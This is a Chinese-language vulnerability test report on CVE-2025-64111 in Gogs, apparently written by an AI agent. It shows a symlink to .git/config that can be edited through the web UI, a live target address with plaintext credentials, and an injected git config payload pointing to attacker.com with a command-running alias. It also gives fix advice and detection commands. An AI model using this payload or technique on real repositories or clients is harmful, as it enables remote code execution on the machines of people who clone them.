CVE-2025-64111Gogs 符号链接绕过漏洞测试本报告由OpenClaw Agent创作从测试到报告编写都由Agent编写测试目标: http://8.147.132.32:38529测试时间: 2026-03-09测试账号: gogs_admin / admin123漏洞类型: 符号链接绕过导致潜在 RCE一、漏洞介绍1.1 漏洞概述CVE-2025-64111 是 GogsGo Git Service中的一个符号链接绕过漏洞。Gogs 是一款使用 Go 语言开发的开源自托管 Git 服务平台主打轻量化与易部署广泛应用于个人及小型团队的私有代码托管场景。攻击者可通过以下方式利用该漏洞在仓库中创建符号链接文件指向.git/config配置文件通过 Web UI 编辑该符号链接文件时实际修改 Git 配置文件在配置文件中注入恶意sshCommand参数或 Git 别名当用户执行 Git 相关操作时触发远程命令执行1.2 影响范围受影响产品: Gogs 自托管 Git 服务漏洞危害: 远程命令执行 (RCE)利用条件: 需要仓库写入权限二、环境搭建2.1 目标信息项目值目标地址http://8.147.132.32:38529服务类型Gogs Git 服务测试账号gogs_admin测试密码admin1232.2 目标首页图 2-1: Gogs 服务首页三、测试过程3.1 登录系统访问登录页面http://8.147.132.32:38529/user/login图 3-1: Gogs 登录页面使用凭证gogs_admin / admin123成功登录。3.2 Dashboard 界面登录成功后进入 Dashboard可见目标仓库final_test图 3-2: Dashboard 界面提交历史显示de3755744a- Add malicious config symlink (18 分钟前)e5666418de- Remove old symlink14324cda53- Add symlink3.3 仓库文件列表访问仓库http://8.147.132.32:38529/gogs_admin/final_test/src/master图 3-3: 仓库文件列表发现可疑文件README.md- 初始文件malicious_config- 恶意配置文件符号链接3.4 符号链接文件内容访问malicious_config文件图 3-4: malicious_config 文件内容文件内容显示.git/config这证实了该文件是一个符号链接指向 Git 配置文件。3.5 文件编辑页面访问编辑页面http://8.147.132.32:38529/gogs_admin/final_test/_edit/master/malicious_config图 3-5: 文件编辑页面可以通过 Web UI 直接编辑符号链接指向的目标文件内容。四、漏洞验证4.1 Git Clone 测试在客户端执行 Git clone 操作$gitclone http://8.147.132.32:38529/gogs_admin/final_test.git Cloning intoshot_clone...4.2 符号链接验证Clone 后检查文件结构$ls-latotal8drwxr-xr-x1root root58Mar816:10.drwxrwxrwt1root root1750Mar816:10..drwxr-xr-x1root root122Mar816:10 .git -rw-r--r--1root root7Mar816:10 README.md lrwxrwxrwx1root root11Mar816:10 malicious_config -.git/config$filemalicious_config malicious_config: symboliclinkto .git/config4.3 配置文件内容读取符号链接实际内容$catmalicious_config[core]repositoryformatversion0filemodetruebarefalselogallrefupdatestrue[remoteorigin]urlhttp://8.147.132.32:38529/gogs_admin/final_test.git fetchrefs/heads/*:refs/remotes/origin/*[branchmaster]remoteorigin mergerefs/heads/master五、利用尝试5.1 恶意 Payload 构造尝试注入恶意 Git 配置[core] repositoryformatversion 0 filemode true bare false [remote origin] url ssh://attacker.com/repo [alias] test !id /tmp/PWNED5.2 利用结果测试项状态说明符号链接创建✅已存在指向.git/config的符号链接文件编辑✅可通过 Web UI 编辑Git Clone✅可成功 clone 仓库RCE 触发❌未成功执行命令5.3 分析符号链接行为: Clone 后符号链接指向客户端本地的.git/config服务器端限制: Gogs 使用 bare 仓库服务器端无.git/config文件实际风险: 主要针对 clone 仓库的客户端而非服务器端六、修复建议6.1 服务端修复禁止符号链接: Gogs 应禁止上传符号链接文件路径验证: 检查上传文件路径阻止.git/相关路径内容过滤: 检测提交内容中的 Git 配置注入权限控制: 限制仓库文件编辑权限6.2 客户端防护Git 配置: 设置core.symlinksfalse禁用符号链接仓库来源: 仅 clone 受信任的仓库安全审计: 定期检查.git/config完整性6.3 检测规则# 检测仓库中的符号链接find.-typel-name*config*# 检查 .git/config 完整性gitconfig--list--show-origin七、总结7.1 漏洞评级评级项等级说明漏洞存在性⚠️ 部分确认符号链接存在但利用受限利用难度中等需要仓库写入权限影响范围中等主要影响客户端危害程度高潜在 RCE7.2 结论CVE-2025-64111 是一个针对 Gogs 的符号链接绕过漏洞。本次测试确认了✅ 目标 Gogs 服务存在符号链接文件malicious_config - .git/config✅ 可通过 Web UI 编辑符号链接指向的内容✅ Git clone 后符号链接指向客户端本地.git/config❌ 服务器端 RCE 未成功触发bare 仓库限制主要风险: 攻击者可通过恶意仓库影响 clone 该仓库的客户端而非服务器端。报告生成时间2026-03-09 00:15 CST测试人员piqiu (皮球) ⚽️